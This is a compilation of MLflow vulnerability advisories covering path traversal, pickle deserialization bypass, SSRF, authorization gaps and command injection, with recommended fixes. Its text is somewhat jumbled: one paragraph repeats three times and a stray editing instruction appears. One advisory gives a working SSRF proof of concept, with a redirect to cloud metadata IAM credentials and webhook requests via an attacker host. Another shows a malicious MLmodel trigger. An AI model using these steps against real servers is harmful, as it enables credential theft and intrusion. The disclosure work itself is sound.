mlflow

MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected.

MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected.

MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected.

Summary

MLflow introduced MLFLOW_ALLOW_PICKLE_DESERIALIZATION as a security control to prevent unsafe pickle.load execution during model loading, in response to CVE-2024-37052 through CVE-2024-37060. When set to False, operators expect all pickle deserialization to be blocked. The most recent related fix (#21188) patched a bypass in the pyfunc flavor.

However, the mlflow.statsmodels flavor completely omits this guard. An attacker who places a crafted MLmodel artifact into any accessible artifact store can trigger arbitrary code execution on any process that calls mlflow.pyfunc.load_model() against the malicious model — even when MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False.

This is a security control bypass. The operator believes pickle RCE is mitigated; the statsmodels flavor silently ignores the control.

Root Cause

mlflow.pyfunc.load_model() dispatches to flavor _load_pyfunc implementations via:

# mlflow/pyfunc/__init__.py L1170-1172
model_impl = importlib.import_module(conf[MAIN])._load_pyfunc(data_path)

The guarded pattern (from mlflow/sklearn/__init__.py L526-533, the reference implementation) is:

if (
    not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()
    and not is_in_databricks_runtime()
    and not is_in_databricks_model_serving_environment()
):
    raise MlflowException("Deserializing model using pickle is disallowed...")

mlflow/statsmodels/__init__.py has no such check:

# L307-320 — no guard anywhere in this file
def _load_model(path):
    import statsmodels.iolib.api as smio
    return smio.load_pickle(path)   # calls pickle.load() directly

def _load_pyfunc(path):
    return _StatsmodelsModelWrapper(_load_model(path))

statsmodels.iolib.api.load_pickle is a thin wrapper around pickle.load. Its own docstring warns: "Never unpickle data received from an untrusted or unauthenticated source."

Trigger

An attacker crafts an MLmodel YAML that specifies mlflow.statsmodels as the loader module:

flavors:
  python_function:
    loader_module: mlflow.statsmodels
    data: model.pkl
  statsmodels:
    data: model.pkl
    statsmodels_version: 0.14.0

With a malicious model.pkl placed alongside it in the artifact store, any call to:

os.environ["MLFLOW_ALLOW_PICKLE_DESERIALIZATION"] = "False"
mlflow.pyfunc.load_model("models:/MaliciousModel/1")

...deserializes the pickle file with no guard check, executing arbitrary code with the privileges of the calling process.

On default MLflow deployments (no --app-name basic-auth), authentication is disabled, so artifact upload requires no credentials.

Affected Code

• mlflow/statsmodels/__init__.py L307-310: _load_model — calls smio.load_pickle without checking MLFLOW_ALLOW_PICKLE_DESERIALIZATION
• mlflow/statsmodels/__init__.py L313-320: _load_pyfunc — dispatches to _load_model without checking the control

Permalink (commit 0b0c576c):

• https://github.com/mlflow/mlflow/blob/0b0c576c642b5b0d9496c829809c7d097403bc9f/mlflow/statsmodels/init.py#L307-L310
• https://github.com/mlflow/mlflow/blob/0b0c576c642b5b0d9496c829809c7d097403bc9f/mlflow/statsmodels/init.py#L313-L320

Recommended Fix

Add the missing guard to mlflow/statsmodels/__init__.py:

from mlflow.environment_variables import MLFLOW_ALLOW_PICKLE_DESERIALIZATION
from mlflow.utils.databricks_utils import (
    is_in_databricks_model_serving_environment,
    is_in_databricks_runtime,
)

def _load_model(path):
    if (
        not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()
        and not is_in_databricks_runtime()
        and not is_in_databricks_model_serving_environment()
    ):
        raise MlflowException(
            "Deserializing model using pickle is disallowed, but this statsmodels "
            "model requires pickle deserialization. Set environment variable "
            "'MLFLOW_ALLOW_PICKLE_DESERIALIZATION' to 'true' to allow this."
        )
    import statsmodels.iolib.api as smio
    return smio.load_pickle(path)

Summary

The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details

Three facts combine:

1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.

2. The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:

def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC

All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n"

For convenience, the "my secret data" is saved in the same location.

Notes:

• Webhook events enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase maps to ENTITY_UNSPECIFIED and 500s.

• Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.

• Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.

• Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact

An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

• 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.response_body), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).
• 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /_close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

MLflow 3.9.0 with basic-auth (--app-name basic-auth) fails to enforce authorization checks for multiple Gateway API 'list' endpoints. Specifically, the BEFORE_REQUEST_HANDLERS dictionary in mlflow/server/auth/__init__.py does not include entries for ListGatewaySecretInfos, ListGatewayEndpoints, and ListGatewayModelDefinitions. This allows any authenticated user, regardless of their assigned permissions, to enumerate all gateway secrets, endpoints, and model definitions. This vulnerability exposes sensitive information, such as API keys, endpoint configurations, and proprietary model definitions, to unauthorized users.

In mlflow/mlflow versions up to 3.9.0, the SearchModelVersions REST API endpoint and the mlflowSearchModelVersions GraphQL query lack proper per-model authorization checks when basic authentication is enabled. This allows any authenticated user to enumerate all model versions across all registered models, regardless of their permission level. The issue arises due to the absence of SearchModelVersions in the BEFORE_REQUEST_VALIDATORS and AFTER_REQUEST_HANDLERS for the REST API, and its omission from GraphQLAuthorizationMiddleware.PROTECTED_FIELDS for GraphQL. This vulnerability can expose sensitive information such as model names, version descriptions, source URIs, tags, and other metadata, potentially revealing proprietary or confidential details in multi-tenant environments. The issue is resolved in version 3.10.0.

In mlflow/mlflow versions prior to 3.11.0, the get_or_create_nfs_tmp_dir() function in mlflow/utils/file_utils.py creates temporary directories with world-writable permissions (0o777), and the _create_model_downloading_tmp_dir() function in mlflow/pyfunc/__init__.py creates directories with group-writable permissions (0o770). These insecure permissions allow local attackers to tamper with model artifacts, such as cloudpickle-serialized Python objects, and achieve arbitrary code execution when the tampered artifacts are deserialized via cloudpickle.load(). This vulnerability is particularly critical in environments with shared NFS mounts, such as Databricks, where NFS is enabled by default. The issue is a continuation of the vulnerability class addressed in CVE-2025-10279, which was only partially fixed.

A vulnerability in the _create_model_version() handler of mlflow/server/handlers.py in mlflow/mlflow versions 3.9.0 and earlier allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem. The issue arises when a CreateModelVersion request includes the tag mlflow.prompt.is_prompt, which bypasses source path validation. This enables an attacker to store an arbitrary local filesystem path as the model version source. The get_model_version_artifact_handler() function later uses this source to serve files without verifying the model version's prompt status, leading to a complete confidentiality compromise. This issue is fixed in version 3.10.0.

In the latest version of mlflow/mlflow, when the basic-auth app is enabled, tracing and assessment endpoints are not protected by permission validators. This allows any authenticated user, including those with NO_PERMISSIONS on the experiment, to read trace information and create assessments for traces they should not have access to. This vulnerability impacts confidentiality by exposing trace metadata and integrity by allowing unauthorized creation of assessments. Deployments using mlflow server --app-name=basic-auth are affected.

A vulnerability in MLflow's pyfunc extraction process allows for arbitrary file writes due to improper handling of tar archive entries. Specifically, the use of tarfile.extractall without path validation enables crafted tar.gz files containing .. or absolute paths to escape the intended extraction directory. This issue affects the latest version of MLflow and poses a high/critical risk in scenarios involving multi-tenant environments or ingestion of untrusted artifacts, as it can lead to arbitrary file overwrites and potential remote code execution.

A command injection vulnerability exists in mlflow/mlflow versions before v3.7.0, specifically in the mlflow/sagemaker/__init__.py file at lines 161-167. The vulnerability arises from the direct interpolation of user-supplied container image names into shell commands without proper sanitization, which are then executed using os.system(). This allows attackers to execute arbitrary commands by supplying malicious input through the --container parameter of the CLI. The issue affects environments where MLflow is used, including development setups, CI/CD pipelines, and cloud deployments.

MLflow Tracking Server Artifact Handler Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MLflow Tracking Server. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of artifact file paths. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the service account.

In mlflow version 2.20.3, the temporary directory used for creating Python virtual environments is assigned insecure world-writable permissions (0o777). This vulnerability allows an attacker with write access to the /tmp directory to exploit a race condition and overwrite .py files in the virtual environment, leading to arbitrary code execution. The issue is resolved in version 3.4.0.

MLFlow versions up to and including 3.4.0 are vulnerable to DNS rebinding attacks due to a lack of Origin header validation in the MLFlow REST server. This vulnerability allows malicious websites to bypass Same-Origin Policy protections and execute unauthorized calls against REST endpoints. An attacker can query, update, and delete experiments via the affected endpoints, leading to potential data exfiltration, destruction, or manipulation. The issue is resolved in version 3.5.0.

MLflow Tracking Server Model Creation Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MLflow Tracking Server. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of model file paths. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26921.

MLflow Weak Password Requirements Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of MLflow. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of passwords. The issue results from weak password requirements. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-26916.

In mlflow/mlflow version 2.17.2, the /graphql endpoint is vulnerable to a denial of service attack. An attacker can create large batches of queries that repeatedly request all runs from a given experiment. This can tie up all the workers allocated by MLFlow, rendering the application unable to respond to other requests. This vulnerability is due to uncontrolled resource consumption.

A path traversal vulnerability exists in mlflow/mlflow version 2.15.1. When users configure and use the dbfs service, concatenating the URL directly into the file protocol results in an arbitrary file read vulnerability. This issue occurs because only the path part of the URL is checked, while parts such as query and parameters are not handled. The vulnerability is triggered if the user has configured the dbfs service, and during usage, the service is mounted to a local directory.

Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.27.0 or newer, enabling a maliciously crafted Recipe to execute arbitrary code on an end user’s system when run.

Deserialization of untrusted data can occur in versions of the MLflow platform running version 0.5.0 or newer, enabling a maliciously uploaded PyTorch model to run arbitrary code on an end user’s system when interacted with.

Deserialization of untrusted data can occur in versions of the MLflow platform running version 2.0.0rc0 or newer, enabling a maliciously uploaded Tensorflow model to run arbitrary code on an end user’s system when interacted with.

Deserialization of untrusted data can occur in versions of the MLflow platform running version 2.5.0 or newer, enabling a maliciously uploaded Langchain AgentExecutor model to run arbitrary code on an end user’s system when interacted with.

Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.1.0 or newer, enabling a maliciously uploaded scikit-learn model to run arbitrary code on an end user’s system when interacted with.

Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.24.0 or newer, enabling a maliciously uploaded pmdarima model to run arbitrary code on an end user’s system when interacted with.

Deserialization of untrusted data can occur in versions of the MLflow platform running version 0.9.0 or newer, enabling a maliciously uploaded PyFunc model to run arbitrary code on an end user’s system when interacted with.

Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.1.0 or newer, enabling a maliciously uploaded scikit-learn model to run arbitrary code on an end user’s system when interacted with.

Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.23.0 or newer, enabling a maliciously uploaded LightGBM scikit-learn model to run arbitrary code on an end user’s system when interacted with.

This vulnerability allows remote attackers to bypass authentication on affected installations of MLflow. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the basic_auth.ini file. The file contains hard-coded default credentials. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of the administrator.

In mlflow/mlflow, the FastAPI job endpoints under /ajax-api/3.0/jobs/* are not protected by authentication or authorization when the basic-auth app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results.

A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the _install_model_dependencies_to_env() function. When deploying a model with env_manager=LOCAL, MLflow reads dependency specifications from the model artifact's python_env.yaml file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.1.

A command injection vulnerability exists in Mlflow when serving a model with enable_mlserver=True. The model_uri is embedded directly into a shell command executed via bash -c without proper sanitization. If the model_uri contains shell metacharacters, such as $() or backticks, it allows for command substitution and execution of attacker-controlled commands. This vulnerability affects the latest version of mlflow/mlflow and can lead to privilege escalation if a higher-privileged service serves models from a directory writable by lower-privileged users.

A path traversal vulnerability exists in the extract_archive_to_dir function within the mlflow/pyfunc/dbconnect_artifact_cache.py file of the mlflow/mlflow repository. This vulnerability, present in versions before v3.7.0, arises due to the lack of validation of tar member paths during extraction. An attacker with control over the tar.gz file can exploit this issue to overwrite arbitrary files or gain elevated privileges, potentially escaping the sandbox directory in multi-tenant or shared cluster environments.

A flaw has been found in MLflow up to 3.10.0. This issue affects the function mlflow.data.digest_utils of the file mlflow/data/digest_utils.py of the component Dataset Digest Computation. This manipulation causes use of weak hash. It is possible to launch the attack on the local host. The attack is considered to have high complexity. The exploitability is assessed as difficult. The exploit has been published and may be used. The project was informed of the problem early through a pull request but has not reacted yet.

A vulnerability in mlflow/mlflow versions prior to 3.11.0 allows for the resolution of environment variables in AI Gateway secrets, which can be exploited to exfiltrate sensitive server-side environment credentials to an attacker-controlled endpoint. This issue arises because the api_key field in gateway secrets can accept $ENV_VAR references, which are resolved against the MLflow server's environment during runtime. The resolved secrets are then sent in provider authentication headers to the configured upstream api_base. This vulnerability can be exploited by low-privileged authenticated users in basic-auth deployments or by unauthenticated users in default deployments without basic-auth. The impact includes potential leakage of sensitive credentials such as cloud artifact credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY), which could lead to artifact poisoning and cross-boundary code execution in downstream environments. The issue is fixed in version 3.11.0.

A vulnerability in MLflow versions <=3.10.1.dev0 allows unauthorized access to multipart upload (MPU) endpoints when the --serve-artifacts mode is enabled. The authorization logic does not enforce resource-level permission checks for /mlflow-artifacts/mpu/* endpoints, enabling attackers to overwrite artifacts belonging to other users. This can lead to unauthorized cross-user writes, model supply chain poisoning, and arbitrary code execution when compromised models are loaded. The issue is resolved in version 3.10.0.

A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (--app-name basic-auth) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on /gateway/ routes, leaving other routes such as the Job API (/ajax-api/3.0/jobs/*) and the OpenTelemetry trace ingestion API (/v1/traces) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the _find_fastapi_validator() function fails to handle non-/gateway/ paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.

A Server-Side Request Forgery (SSRF) vulnerability exists in MLflow versions prior to 3.9.0. The _create_webhook() function in mlflow/server/handlers.py accepts a user-controlled url parameter without validation, and the _send_webhook_request() function in mlflow/webhooks/delivery.py sends HTTP POST requests to this attacker-controlled URL. This allows an authenticated attacker to force the MLflow backend to send HTTP requests to internal services, cloud metadata endpoints, or arbitrary external servers. The lack of input sanitization, URL scheme filtering, or allowlist validation on the webhook URL enables exploitation, potentially leading to cloud credential theft, internal network access, and data exfiltration.

MLflow is vulnerable to Stored Cross-Site Scripting (XSS) caused by unsafe parsing of YAML-based MLmodel artifacts in its web interface. An authenticated attacker can upload a malicious MLmodel file containing a payload that executes when another user views the artifact in the UI. This allows actions such as session hijacking or performing operations on behalf of the victim.

This issue affects MLflow version through 3.10.1